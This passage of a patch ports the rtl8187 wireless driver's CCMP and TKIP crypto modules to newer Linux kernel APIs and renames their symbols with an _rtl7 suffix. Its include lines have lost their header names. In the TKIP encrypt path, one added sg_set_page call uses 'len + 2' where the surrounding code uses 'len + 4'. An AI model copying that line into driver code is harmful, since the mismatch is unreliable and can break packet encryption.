spin_lock_irqsave(&ieee->lock, flags); - ieee80211_crypt_deinit_entries(ieee, 0); + ieee80211_crypt_deinit_entries_rtl7(ieee, 0); if (!list_empty(&ieee->crypt_deinit_list)) { printk(KERN_DEBUG "%s: entries remaining in delayed crypt " "deletion list\n", ieee->dev->name); @@ -78,7 +83,7 @@ } -void ieee80211_crypt_delayed_deinit(struct ieee80211_device *ieee, +void ieee80211_crypt_delayed_deinit_rtl7(struct ieee80211_device *ieee, struct ieee80211_crypt_data **crypt) { struct ieee80211_crypt_data *tmp; @@ -103,7 +108,7 @@ spin_unlock_irqrestore(&ieee->lock, flags); } -int ieee80211_register_crypto_ops(struct ieee80211_crypto_ops *ops) +int ieee80211_register_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops) { unsigned long flags; struct ieee80211_crypto_alg *alg; @@ -128,7 +133,7 @@ return 0; } -int ieee80211_unregister_crypto_ops(struct ieee80211_crypto_ops *ops) +int ieee80211_unregister_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops) { unsigned long flags; struct list_head *ptr; @@ -159,7 +164,7 @@ } -struct ieee80211_crypto_ops * ieee80211_get_crypto_ops(const char *name) +struct ieee80211_crypto_ops * ieee80211_get_crypto_ops_rtl7(const char *name) { unsigned long flags; struct list_head *ptr; @@ -186,13 +191,13 @@ } -static void * ieee80211_crypt_null_init(int keyidx) { return (void *) 1; } -static void ieee80211_crypt_null_deinit(void *priv) {} +static void * ieee80211_crypt_null_init_rtl7(int keyidx) { return (void *) 1; } +static void ieee80211_crypt_null_deinit_rtl7(void *priv) {} static struct ieee80211_crypto_ops ieee80211_crypt_null = { .name = "NULL", - .init = ieee80211_crypt_null_init, - .deinit = ieee80211_crypt_null_deinit, + .init = ieee80211_crypt_null_init_rtl7, + .deinit = ieee80211_crypt_null_deinit_rtl7, .encrypt_mpdu = NULL, .decrypt_mpdu = NULL, .encrypt_msdu = NULL, @@ -205,7 +210,7 @@ }; -static int __init ieee80211_crypto_init(void) +static int __init ieee80211_crypto_init_rtl7(void) { int ret = -ENOMEM; @@ -217,7 +222,7 @@ INIT_LIST_HEAD(&hcrypt->algs); spin_lock_init(&hcrypt->lock); - ret = ieee80211_register_crypto_ops(&ieee80211_crypt_null); + ret = ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_null); if (ret < 0) { kfree(hcrypt); hcrypt = NULL; @@ -227,7 +232,7 @@ } -static void __exit ieee80211_crypto_deinit(void) +static void __exit ieee80211_crypto_deinit_rtl7(void) { struct list_head *ptr, *n; @@ -247,13 +252,13 @@ kfree(hcrypt); } -EXPORT_SYMBOL(ieee80211_crypt_deinit_entries); -EXPORT_SYMBOL(ieee80211_crypt_deinit_handler); -EXPORT_SYMBOL(ieee80211_crypt_delayed_deinit); - -EXPORT_SYMBOL(ieee80211_register_crypto_ops); -EXPORT_SYMBOL(ieee80211_unregister_crypto_ops); -EXPORT_SYMBOL(ieee80211_get_crypto_ops); +EXPORT_SYMBOL(ieee80211_crypt_deinit_entries_rtl7); +EXPORT_SYMBOL(ieee80211_crypt_deinit_handler_rtl7); +EXPORT_SYMBOL(ieee80211_crypt_delayed_deinit_rtl7); + +EXPORT_SYMBOL(ieee80211_register_crypto_ops_rtl7); +EXPORT_SYMBOL(ieee80211_unregister_crypto_ops_rtl7); +EXPORT_SYMBOL(ieee80211_get_crypto_ops_rtl7); -module_init(ieee80211_crypto_init); -module_exit(ieee80211_crypto_deinit); +module_init(ieee80211_crypto_init_rtl7); +module_exit(ieee80211_crypto_deinit_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt_ccmp.c rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt_ccmp.c --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt_ccmp.c 2006-06-06 04:58:00.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt_ccmp.c 2008-01-30 17:38:11.000000000 +0100 @@ -9,7 +9,6 @@ * more details. */ -#include #include #include #include @@ -22,11 +21,22 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" #include -#include + +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + #include +#else + #include +#endif MODULE_AUTHOR("Jouni Malinen"); MODULE_DESCRIPTION("Host AP crypt: CCMP"); @@ -51,7 +61,11 @@ int key_idx; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) struct crypto_tfm *tfm; +#else + struct crypto_cipher *tfm; +#endif /* scratch buffers for virt_to_page() (crypto API) */ u8 tx_b0[AES_BLOCK_LEN], tx_b[AES_BLOCK_LEN], @@ -59,7 +73,8 @@ u8 rx_b0[AES_BLOCK_LEN], rx_b[AES_BLOCK_LEN], rx_a[AES_BLOCK_LEN]; }; -void ieee80211_ccmp_aes_encrypt(struct crypto_tfm *tfm, +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +void ieee80211_ccmp_aes_encrypt_rtl7(struct crypto_tfm *tfm, const u8 pt[16], u8 ct[16]) { struct scatterlist src, dst; @@ -74,8 +89,15 @@ crypto_cipher_encrypt(tfm, &dst, &src, AES_BLOCK_LEN); } +#else +static inline void ieee80211_ccmp_aes_encrypt_rtl7(struct crypto_cipher *tfm, + const u8 pt[16], u8 ct[16]) +{ + crypto_cipher_encrypt_one(tfm, ct, pt); +} +#endif -static void * ieee80211_ccmp_init(int key_idx) +static void * ieee80211_ccmp_init_rtl7(int key_idx) { struct ieee80211_ccmp_data *priv; @@ -85,19 +107,33 @@ memset(priv, 0, sizeof(*priv)); priv->key_idx = key_idx; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) priv->tfm = crypto_alloc_tfm("aes", 0); if (priv->tfm == NULL) { printk(KERN_DEBUG "ieee80211_crypt_ccmp: could not allocate " "crypto API aes\n"); goto fail; } +#else + priv->tfm = crypto_alloc_cipher("aes", 0, CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->tfm)) { + printk(KERN_DEBUG "ieee80211_crypt_ccmp: could not allocate " + "crypto API aes\n"); + priv->tfm = NULL; + goto fail; + } +#endif return priv; fail: if (priv) { if (priv->tfm) +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_free_tfm(priv->tfm); +#else + crypto_free_cipher(priv->tfm); +#endif kfree(priv); } @@ -105,16 +141,20 @@ } -static void ieee80211_ccmp_deinit(void *priv) +static void ieee80211_ccmp_deinit_rtl7(void *priv) { struct ieee80211_ccmp_data *_priv = priv; if (_priv && _priv->tfm) +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_free_tfm(_priv->tfm); +#else + crypto_free_cipher(_priv->tfm); +#endif kfree(priv); } -static inline void xor_block(u8 *b, u8 *a, size_t len) +static inline void xor_block_rtl7(u8 *b, u8 *a, size_t len) { int i; for (i = 0; i < len; i++) @@ -122,7 +162,11 @@ } -static void ccmp_init_blocks(struct crypto_tfm *tfm, +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +static void ccmp_init_blocks_rtl7(struct crypto_tfm *tfm, +#else +static void ccmp_init_blocks_rtl7(struct crypto_cipher *tfm, +#endif struct ieee80211_hdr *hdr, u8 *pn, size_t dlen, u8 *b0, u8 *auth, u8 *s0) @@ -186,18 +230,18 @@ } /* Start with the first block and AAD */ - ieee80211_ccmp_aes_encrypt(tfm, b0, auth); - xor_block(auth, aad, AES_BLOCK_LEN); - ieee80211_ccmp_aes_encrypt(tfm, auth, auth); - xor_block(auth, &aad[AES_BLOCK_LEN], AES_BLOCK_LEN); - ieee80211_ccmp_aes_encrypt(tfm, auth, auth); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, b0, auth); + xor_block_rtl7(auth, aad, AES_BLOCK_LEN); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, auth, auth); + xor_block_rtl7(auth, &aad[AES_BLOCK_LEN], AES_BLOCK_LEN); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, auth, auth); b0[0] &= 0x07; b0[14] = b0[15] = 0; - ieee80211_ccmp_aes_encrypt(tfm, b0, s0); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, b0, s0); } -static int ieee80211_ccmp_encrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_ccmp_encrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_ccmp_data *key = priv; int data_len, i, blocks, last, len; @@ -237,7 +281,7 @@ *pos++ = key->tx_pn[0]; hdr = (struct ieee80211_hdr *) skb->data; - ccmp_init_blocks(key->tfm, hdr, key->tx_pn, data_len, b0, b, s0); + ccmp_init_blocks_rtl7(key->tfm, hdr, key->tx_pn, data_len, b0, b, s0); blocks = (data_len + AES_BLOCK_LEN - 1) / AES_BLOCK_LEN; last = data_len % AES_BLOCK_LEN; @@ -245,13 +289,13 @@ for (i = 1; i <= blocks; i++) { len = (i == blocks && last) ? last : AES_BLOCK_LEN; /* Authentication */ - xor_block(b, pos, len); - ieee80211_ccmp_aes_encrypt(key->tfm, b, b); + xor_block_rtl7(b, pos, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, b, b); /* Encryption, with counter */ b0[14] = (i >> 8) & 0xff; b0[15] = i & 0xff; - ieee80211_ccmp_aes_encrypt(key->tfm, b0, e); - xor_block(pos, e, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, b0, e); + xor_block_rtl7(pos, e, len); pos += len; } @@ -262,7 +306,7 @@ } -static int ieee80211_ccmp_decrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_ccmp_decrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_ccmp_data *key = priv; u8 keyidx, *pos; @@ -326,8 +370,8 @@ return -4; } - ccmp_init_blocks(key->tfm, hdr, pn, data_len, b0, a, b); - xor_block(mic, b, CCMP_MIC_LEN); + ccmp_init_blocks_rtl7(key->tfm, hdr, pn, data_len, b0, a, b); + xor_block_rtl7(mic, b, CCMP_MIC_LEN); blocks = (data_len + AES_BLOCK_LEN - 1) / AES_BLOCK_LEN; last = data_len % AES_BLOCK_LEN; @@ -337,11 +381,11 @@ /* Decrypt, with counter */ b0[14] = (i >> 8) & 0xff; b0[15] = i & 0xff; - ieee80211_ccmp_aes_encrypt(key->tfm, b0, b); - xor_block(pos, b, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, b0, b); + xor_block_rtl7(pos, b, len); /* Authentication */ - xor_block(a, pos, len); - ieee80211_ccmp_aes_encrypt(key->tfm, a, a); + xor_block_rtl7(a, pos, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, a, a); pos += len; } @@ -365,11 +409,15 @@ } -static int ieee80211_ccmp_set_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_ccmp_set_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_ccmp_data *data = priv; int keyidx; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) struct crypto_tfm *tfm = data->tfm; +#else + struct crypto_cipher *tfm = data->tfm; +#endif keyidx = data->key_idx; memset(data, 0, sizeof(*data)); @@ -396,7 +444,7 @@ } -static int ieee80211_ccmp_get_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_ccmp_get_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_ccmp_data *data = priv; @@ -420,7 +468,7 @@ } -static char * ieee80211_ccmp_print_stats(char *p, void *priv) +static char * ieee80211_ccmp_print_stats_rtl7(char *p, void *priv) { struct ieee80211_ccmp_data *ccmp = priv; p += sprintf(p, "key[%d] alg=CCMP key_set=%d " @@ -437,34 +485,34 @@ } -static struct ieee80211_crypto_ops ieee80211_crypt_ccmp = { +static struct ieee80211_crypto_ops ieee80211_crypt_ccmp_rtl7 = { .name = "CCMP", - .init = ieee80211_ccmp_init, - .deinit = ieee80211_ccmp_deinit, - .encrypt_mpdu = ieee80211_ccmp_encrypt, - .decrypt_mpdu = ieee80211_ccmp_decrypt, + .init = ieee80211_ccmp_init_rtl7, + .deinit = ieee80211_ccmp_deinit_rtl7, + .encrypt_mpdu = ieee80211_ccmp_encrypt_rtl7, + .decrypt_mpdu = ieee80211_ccmp_decrypt_rtl7, .encrypt_msdu = NULL, .decrypt_msdu = NULL, - .set_key = ieee80211_ccmp_set_key, - .get_key = ieee80211_ccmp_get_key, - .print_stats = ieee80211_ccmp_print_stats, + .set_key = ieee80211_ccmp_set_key_rtl7, + .get_key = ieee80211_ccmp_get_key_rtl7, + .print_stats = ieee80211_ccmp_print_stats_rtl7, .extra_prefix_len = CCMP_HDR_LEN, .extra_postfix_len = CCMP_MIC_LEN, .owner = THIS_MODULE, }; -static int __init ieee80211_crypto_ccmp_init(void) +static int __init ieee80211_crypto_ccmp_init_rtl7(void) { - return ieee80211_register_crypto_ops(&ieee80211_crypt_ccmp); + return ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_ccmp_rtl7); } -static void __exit ieee80211_crypto_ccmp_exit(void) +static void __exit ieee80211_crypto_ccmp_exit_rtl7(void) { - ieee80211_unregister_crypto_ops(&ieee80211_crypt_ccmp); + ieee80211_unregister_crypto_ops_rtl7(&ieee80211_crypt_ccmp_rtl7); } -module_init(ieee80211_crypto_ccmp_init); -module_exit(ieee80211_crypto_ccmp_exit); +module_init(ieee80211_crypto_ccmp_init_rtl7); +module_exit(ieee80211_crypto_ccmp_exit_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt.h rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt.h --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt.h 2006-06-06 04:58:00.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt.h 2008-01-30 17:38:11.000000000 +0100 @@ -75,12 +75,12 @@ atomic_t refcnt; }; -int ieee80211_register_crypto_ops(struct ieee80211_crypto_ops *ops); -int ieee80211_unregister_crypto_ops(struct ieee80211_crypto_ops *ops); -struct ieee80211_crypto_ops * ieee80211_get_crypto_ops(const char *name); -void ieee80211_crypt_deinit_entries(struct ieee80211_device *, int); -void ieee80211_crypt_deinit_handler(unsigned long); -void ieee80211_crypt_delayed_deinit(struct ieee80211_device *ieee, +int ieee80211_register_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops); +int ieee80211_unregister_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops); +struct ieee80211_crypto_ops * ieee80211_get_crypto_ops_rtl7(const char *name); +void ieee80211_crypt_deinit_entries_rtl7(struct ieee80211_device *, int); +void ieee80211_crypt_deinit_handler_rtl7(unsigned long); +void ieee80211_crypt_delayed_deinit_rtl7(struct ieee80211_device *ieee, struct ieee80211_crypt_data **crypt); #endif diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt_tkip.c rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt_tkip.c --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt_tkip.c 2006-06-06 04:57:54.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt_tkip.c 2008-01-30 17:39:05.000000000 +0100 @@ -9,7 +9,6 @@ * more details. */ -#include #include #include #include @@ -21,13 +20,24 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + #include +#else + #include +#endif #include -#include #include + MODULE_AUTHOR("Jouni Malinen"); MODULE_DESCRIPTION("Host AP crypt: TKIP"); MODULE_LICENSE("GPL"); @@ -55,14 +65,21 @@ int key_idx; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) struct crypto_tfm *tfm_arc4; struct crypto_tfm *tfm_michael; +#else + struct crypto_blkcipher *rx_tfm_arc4; + struct crypto_blkcipher *tx_tfm_arc4; + struct crypto_hash *rx_tfm_michael; + struct crypto_hash *tx_tfm_michael; +#endif /* scratch buffers for virt_to_page() (crypto API) */ u8 rx_hdr[16], tx_hdr[16]; }; -static void * ieee80211_tkip_init(int key_idx) +static void * ieee80211_tkip_init_rtl7(int key_idx) { struct ieee80211_tkip_data *priv; @@ -72,28 +89,74 @@ memset(priv, 0, sizeof(*priv)); priv->key_idx = key_idx; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) priv->tfm_arc4 = crypto_alloc_tfm("arc4", 0); if (priv->tfm_arc4 == NULL) { printk(KERN_DEBUG "ieee80211_crypt_tkip: could not allocate " "crypto API arc4\n"); goto fail; } - priv->tfm_michael = crypto_alloc_tfm("michael_mic", 0); if (priv->tfm_michael == NULL) { printk(KERN_DEBUG "ieee80211_crypt_tkip: could not allocate " "crypto API michael_mic\n"); goto fail; } +#else + priv->tx_tfm_arc4 = crypto_alloc_blkcipher("ecb(arc4)", 0, CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->tx_tfm_arc4)) { + printk(KERN_DEBUG "ieee80211_crypt_wep: could not allocate " + "crypto API arc4\n"); + priv->tx_tfm_arc4 = NULL; + goto fail; + } + + priv->tx_tfm_michael = crypto_alloc_hash("michael_mic", 0, + CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->tx_tfm_michael)) { + printk(KERN_DEBUG "ieee80211_crypt_tkip: could not allocate " + "crypto API michael_mic\n"); + priv->tx_tfm_michael = NULL; + goto fail; + } + + priv->rx_tfm_arc4 = crypto_alloc_blkcipher("ecb(arc4)", 0, CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->rx_tfm_arc4)) { + printk(KERN_DEBUG "ieee80211_crypt_wep: could not allocate " + "crypto API arc4\n"); + priv->rx_tfm_arc4 = NULL; + goto fail; + } + + priv->rx_tfm_michael = crypto_alloc_hash("michael_mic", 0, + CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->rx_tfm_michael)) { + printk(KERN_DEBUG "ieee80211_crypt_tkip: could not allocate " + "crypto API michael_mic\n"); + priv->rx_tfm_michael = NULL; + goto fail; + } +#endif return priv; fail: if (priv) { +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) if (priv->tfm_michael) crypto_free_tfm(priv->tfm_michael); if (priv->tfm_arc4) crypto_free_tfm(priv->tfm_arc4); +#else + if (priv->tx_tfm_michael) + crypto_free_hash(priv->tx_tfm_michael); + if (priv->tx_tfm_arc4) + crypto_free_blkcipher(priv->tx_tfm_arc4); + if (priv->rx_tfm_michael) + crypto_free_hash(priv->rx_tfm_michael); + if (priv->rx_tfm_arc4) + crypto_free_blkcipher(priv->rx_tfm_arc4); +#endif kfree(priv); } @@ -101,13 +164,26 @@ } -static void ieee80211_tkip_deinit(void *priv) +static void ieee80211_tkip_deinit_rtl7(void *priv) { struct ieee80211_tkip_data *_priv = priv; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) if (_priv && _priv->tfm_michael) crypto_free_tfm(_priv->tfm_michael); if (_priv && _priv->tfm_arc4) crypto_free_tfm(_priv->tfm_arc4); +#else + if (_priv) { + if (_priv->tx_tfm_michael) + crypto_free_hash(_priv->tx_tfm_michael); + if (_priv->tx_tfm_arc4) + crypto_free_blkcipher(_priv->tx_tfm_arc4); + if (_priv->rx_tfm_michael) + crypto_free_hash(_priv->rx_tfm_michael); + if (_priv->rx_tfm_arc4) + crypto_free_blkcipher(_priv->rx_tfm_arc4); + } +#endif kfree(priv); } @@ -200,7 +276,7 @@ #define PHASE1_LOOP_COUNT 8 -static void tkip_mixing_phase1(u16 *TTAK, const u8 *TK, const u8 *TA, u32 IV32) +static void tkip_mixing_phase1_rtl7(u16 *TTAK, const u8 *TK, const u8 *TA, u32 IV32) { int i, j; @@ -222,7 +298,7 @@ } -static void tkip_mixing_phase2(u8 *WEPSeed, const u8 *TK, const u16 *TTAK, +static void tkip_mixing_phase2_rtl7(u8 *WEPSeed, const u8 *TK, const u16 *TTAK, u16 IV16) { /* Make temporary area overlap WEP seed so that the final copy can be @@ -268,7 +344,7 @@ #endif } -static int ieee80211_tkip_encrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_tkip_encrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; int len; @@ -276,6 +352,9 @@ struct ieee80211_hdr *hdr; u32 crc; struct scatterlist sg; +#if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,19)) + struct blkcipher_desc desc = { .tfm = tkey->tx_tfm_arc4 }; +#endif if (skb_headroom(skb) < 8 || skb_tailroom(skb) < 4 || skb->len < hdr_len) @@ -283,11 +362,11 @@ hdr = (struct ieee80211_hdr *) skb->data; if (!tkey->tx_phase1_done) { - tkip_mixing_phase1(tkey->tx_ttak, tkey->key, hdr->addr2, + tkip_mixing_phase1_rtl7(tkey->tx_ttak, tkey->key, hdr->addr2, tkey->tx_iv32); tkey->tx_phase1_done = 1; } - tkip_mixing_phase2(rc4key, tkey->key, tkey->tx_ttak, tkey->tx_iv16); + tkip_mixing_phase2_rtl7(rc4key, tkey->key, tkey->tx_ttak, tkey->tx_iv16); len = skb->len - hdr_len; pos = skb_push(skb, 8); @@ -310,11 +389,23 @@ icv[2] = crc >> 16; icv[3] = crc >> 24; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_setkey(tkey->tfm_arc4, rc4key, 16); +#else + crypto_blkcipher_setkey(tkey->tx_tfm_arc4, rc4key, 16); +#endif +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24)) sg.page = virt_to_page(pos); sg.offset = offset_in_page(pos); sg.length = len + 4; +#else + sg_set_page(&sg, virt_to_page(pos), len + 2, offset_in_page(pos)); +#endif +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_encrypt(tkey->tfm_arc4, &sg, &sg, len + 4); +#else + crypto_blkcipher_encrypt(&desc, &sg, &sg, len + 4); +#endif tkey->tx_iv16++; if (tkey->tx_iv16 == 0) { @@ -325,7 +416,7 @@ return 0; } -static int ieee80211_tkip_decrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_tkip_decrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; u8 rc4key[16]; @@ -337,6 +428,9 @@ u32 crc; struct scatterlist sg; int plen; +#if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,19)) + struct blkcipher_desc desc = { .tfm = tkey->rx_tfm_arc4 }; +#endif if (skb->len < hdr_len + 8 + 4) return -1; @@ -382,18 +476,30 @@ } if (iv32 != tkey->rx_iv32 || !tkey->rx_phase1_done) { - tkip_mixing_phase1(tkey->rx_ttak, tkey->key, hdr->addr2, iv32); + tkip_mixing_phase1_rtl7(tkey->rx_ttak, tkey->key, hdr->addr2, iv32); tkey->rx_phase1_done = 1; } - tkip_mixing_phase2(rc4key, tkey->key, tkey->rx_ttak, iv16); + tkip_mixing_phase2_rtl7(rc4key, tkey->key, tkey->rx_ttak, iv16); plen = skb->len - hdr_len - 12; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_setkey(tkey->tfm_arc4, rc4key, 16); +#else + crypto_blkcipher_setkey(tkey->rx_tfm_arc4, rc4key, 16); +#endif +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24)) sg.page = virt_to_page(pos); sg.offset = offset_in_page(pos); sg.length = plen + 4; +#else + sg_set_page(&sg, virt_to_page(pos), plen + 4, offset_in_page(pos)); +#endif +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_decrypt(tkey->tfm_arc4, &sg, &sg, plen + 4); +#else + crypto_blkcipher_decrypt(&desc, &sg, &sg, plen + 4); +#endif crc = ~crc32_le(~0, pos, plen); icv[0] = crc; @@ -427,33 +533,59 @@ return keyidx; } - -static int michael_mic(struct ieee80211_tkip_data *tkey, u8 *key, u8 *hdr, +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) +static int michael_mic_rtl7(struct ieee80211_tkip_data *tkey, u8 *key, u8 *hdr, u8 *data, size_t data_len, u8 *mic) { struct scatterlist sg[2]; if (tkey->tfm_michael == NULL) { +#else +static int michael_mic_rtl7(struct crypto_hash *tfm_michael, u8 *key, u8 *hdr, + u8 *data, size_t data_len, u8 *mic) +{ + struct hash_desc desc; + struct scatterlist sg[2]; + + if (tfm_michael == NULL) { +#endif printk(KERN_WARNING "michael_mic: tfm_michael == NULL\n"); return -1; } +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24)) sg[0].page = virt_to_page(hdr); sg[0].offset = offset_in_page(hdr); sg[0].length = 16; +#else + sg_set_page(&sg[0], virt_to_page(hdr), 16, offset_in_page(hdr)); +#endif +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24)) sg[1].page = virt_to_page(data); sg[1].offset = offset_in_page(data); sg[1].length = data_len; +#else + sg_set_page(&sg[1], virt_to_page(data), data_len, offset_in_page(data)); +#endif +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) crypto_digest_init(tkey->tfm_michael); crypto_digest_setkey(tkey->tfm_michael, key, 8); crypto_digest_update(tkey->tfm_michael, sg, 2); crypto_digest_final(tkey->tfm_michael, mic); return 0; +#else + if (crypto_hash_setkey(tfm_michael, key, 8)) + return -1; + + desc.tfm = tfm_michael; + desc.flags = 0; + return crypto_hash_digest(&desc, sg, data_len + 16, mic); +#endif } -static void michael_mic_hdr(struct sk_buff *skb, u8 *hdr) +static void michael_mic_hdr_rtl7(struct sk_buff *skb, u8 *hdr) { struct ieee80211_hdr *hdr11; @@ -483,7 +615,7 @@ } -static int ieee80211_michael_mic_add(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_michael_mic_add_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; u8 *pos; @@ -495,18 +627,24 @@ return -1; } - michael_mic_hdr(skb, tkey->tx_hdr); + michael_mic_hdr_rtl7(skb, tkey->tx_hdr); pos = skb_put(skb, 8); - if (michael_mic(tkey, &tkey->key[16], tkey->tx_hdr, +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) + if (michael_mic_rtl7(tkey, &tkey->key[16], tkey->tx_hdr, + skb->data + hdr_len, skb->len - 8 - hdr_len, pos)) + return -1; +#else + if (michael_mic_rtl7(tkey->tx_tfm_michael, &tkey->key[16], tkey->tx_hdr, skb->data + hdr_len, skb->len - 8 - hdr_len, pos)) return -1; +#endif return 0; } #if WIRELESS_EXT >= 18 -static void ieee80211_michael_mic_failure(struct net_device *dev, +static void ieee80211_michael_mic_failure_rtl7(struct net_device *dev, struct ieee80211_hdr *hdr, int keyidx) { @@ -527,7 +665,7 @@ wireless_send_event(dev, IWEVMICHAELMICFAILURE, &wrqu, (char *) &ev); } #elif WIRELESS_EXT >= 15 -static void ieee80211_michael_mic_failure(struct net_device *dev, +static void ieee80211_michael_mic_failure_rtl7(struct net_device *dev, struct ieee80211_hdr *hdr, int keyidx) { @@ -543,7 +681,7 @@ wireless_send_event(dev, IWEVCUSTOM, &wrqu, buf); } #else /* WIRELESS_EXT >= 15 */ -static inline void ieee80211_michael_mic_failure(struct net_device *dev, +static inline void ieee80211_michael_mic_failure_rtl7(struct net_device *dev, struct ieee80211_hdr *hdr, int keyidx) { @@ -551,7 +689,7 @@ #endif /* WIRELESS_EXT >= 15 */ -static int ieee80211_michael_mic_verify(struct sk_buff *skb, int keyidx, +static int ieee80211_michael_mic_verify_rtl7(struct sk_buff *skb, int keyidx, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; @@ -560,10 +698,16 @@ if (!tkey->key_set) return -1; - michael_mic_hdr(skb, tkey->rx_hdr); - if (michael_mic(tkey, &tkey->key[24], tkey->rx_hdr, + michael_mic_hdr_rtl7(skb, tkey->rx_hdr); +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) + if (michael_mic_rtl7(tkey, &tkey->key[24], tkey->rx_hdr, + skb->data + hdr_len, skb->len - 8 - hdr_len, mic)) + return -1; +#else + if (michael_mic_rtl7(tkey->rx_tfm_michael, &tkey->key[24], tkey->rx_hdr, skb->data + hdr_len, skb->len - 8 - hdr_len, mic)) return -1; +#endif if (memcmp(mic, skb->data + skb->len - 8, 8) != 0) { struct ieee80211_hdr *hdr; hdr = (struct ieee80211_hdr *) skb->data; @@ -572,7 +716,7 @@ skb->dev ? skb->dev->name : "N/A", MAC_ARG(hdr->addr2), keyidx); if (skb->dev) - ieee80211_michael_mic_failure(skb->dev, hdr, keyidx); + ieee80211_michael_mic_failure_rtl7(skb->dev, hdr, keyidx); tkey->dot11RSNAStatsTKIPLocalMICFailures++; return -1; } @@ -588,18 +732,33 @@ } -static int ieee80211_tkip_set_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_tkip_set_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_tkip_data *tkey = priv; int keyidx; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) struct crypto_tfm *tfm = tkey->tfm_michael; struct crypto_tfm *tfm2 = tkey->tfm_arc4; +#else + struct crypto_hash *tfm = tkey->tx_tfm_michael; + struct crypto_blkcipher *tfm2 = tkey->tx_tfm_arc4; + struct crypto_hash *tfm3 = tkey->rx_tfm_michael; + struct crypto_blkcipher *tfm4 = tkey->rx_tfm_arc4; +#endif keyidx = tkey->key_idx; memset(tkey, 0, sizeof(*tkey)); tkey->key_idx = keyidx; +#if 